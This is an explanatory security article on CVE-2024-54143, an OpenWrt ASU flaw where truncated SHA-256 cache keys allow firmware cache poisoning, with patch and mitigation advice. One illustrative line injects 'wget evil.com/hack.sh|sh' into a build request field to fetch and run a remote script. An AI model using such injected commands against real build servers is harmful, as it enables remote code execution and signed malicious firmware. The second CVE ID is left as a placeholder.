OpenWrt is a popular open-source operating system for embedded devices, especially routers. To make custom firmware images, many rely on OpenWrt’s ASU image builder server. But a recent security issue, CVE-2024-54143, shows how a small mistake in how hashes are handled can result in dangerous “firmware poisoning” attacks.

In this article, I’ll break down how this works, provide code snippets, show how attackers could trick the system, and summarize how the problem was fixed.

What’s Affected

- Project: openwrt/asu

Issue: Request hashing mechanism uses only the first 12 characters of a SHA-256 hash

- Exposure: Allows attackers to force a cache collision, serving malicious images as legitimate ones
- Patch: Commit 920c8a1

How The Flaw Works

When you request a custom firmware image from asu, your request is identified by a hash. This hash is supposed to uniquely represent your specific firmware build request so the server can cache and serve previously built images efficiently.

However, asu shortens the hash to just the first 12 characters of the full SHA-256 value.

Here’s a simplified version of what happens

import hashlib

# Simulate hashing of a build request
request_details = "target=routerA&package=foo,bar"
full_hash = hashlib.sha256(request_details.encode()).hexdigest()
short_hash = full_hash[:12]  # Only the first 12 characters used!

print(f"Short hash: {short_hash}")

In the real code, this short hash is used as a cache key for built images.

Why Only 12 Characters Is a Problem

A SHA-256 hash is 64 hex characters (256 bits). By using only 12, you reduce your unique combinations from 2^256 to just 2^48 — not enough to prevent intentional collisions if an attacker wants to brute-force them.

This is like assigning street addresses using only the house number, not the street name — overlaps happen very easily!

What’s a Cache Collision?

Let’s say Alice and Bob both request an image. Their specifications are different, but due to the short hash, a clever attacker can create a request that produces the same 12-character hash as an earlier (malicious) one. The server, seeing a cache hit, gives Bob Alice's (malicious) image thinking it is legitimate.

Exploit Details: How Attackers Can Poison Images

1. Malicious Build: The attacker generates a malicious image that introduces a vulnerability or backdoor.
2. Collision Generation: Brute force requests are made with small differences (like extra packages, settings) until the short hash matches a hash that a real user is likely to make.
3. Cache Poisoning: The attacker makes this malicious build first. When a legitimate user makes their real request later, the server serves up the cached, malicious image.
4. Compromise: The user downloads and installs what they believe is their legitimate firmware, but it’s actually attacker-controlled.

Bonus: Combined With ImageBuilder Command Injection (CVE-2024-####)

If attackers manage to leverage this together with a command injection in Imagebuilder, they can execute arbitrary shell code as part of the image build, producing firmware images signed with the server’s legitimate signing key!

Here’s a theoretical example exploiting command injection

server --request "target=routerA&package=foo,bar;wget evil.com/hack.sh|sh"

If the server isn’t filtering inputs properly, arbitrary commands could be run during the image build process.

Signed Malicious Images: The mal-wared image appears totally legitimate and trusted.

- Hard to Detect: The signature check will pass, so most users and even automated systems won’t spot the tampering.

Patch Information

The issue has been fixed in commit 920c8a1. The patch increases the hash length used for cache keys, making it practically impossible to brute-force collisions.

What you should do

- Update openwrt/asu to the latest version including this patch.
- Check your firmware images and logs for unexpected requests or images built from unusual parameters.

References

- OpenWrt ASU GitHub Repository
- ASU Commit Patch 920c8a1
- Official CVE Record

Conclusion

This vulnerability is a classic example of how little choices — like using only a portion of a secure hash — can wreck security. Always use full hashes for anything like caching or verification, and never assume small shortcuts are safe.

If you’re running OpenWrt’s ASU server, patch now. If you maintain devices built or managed with ASU, review the firmware’s provenance and verify the updates.

Timeline

Published on: 12/06/2024 17:15:12 UTC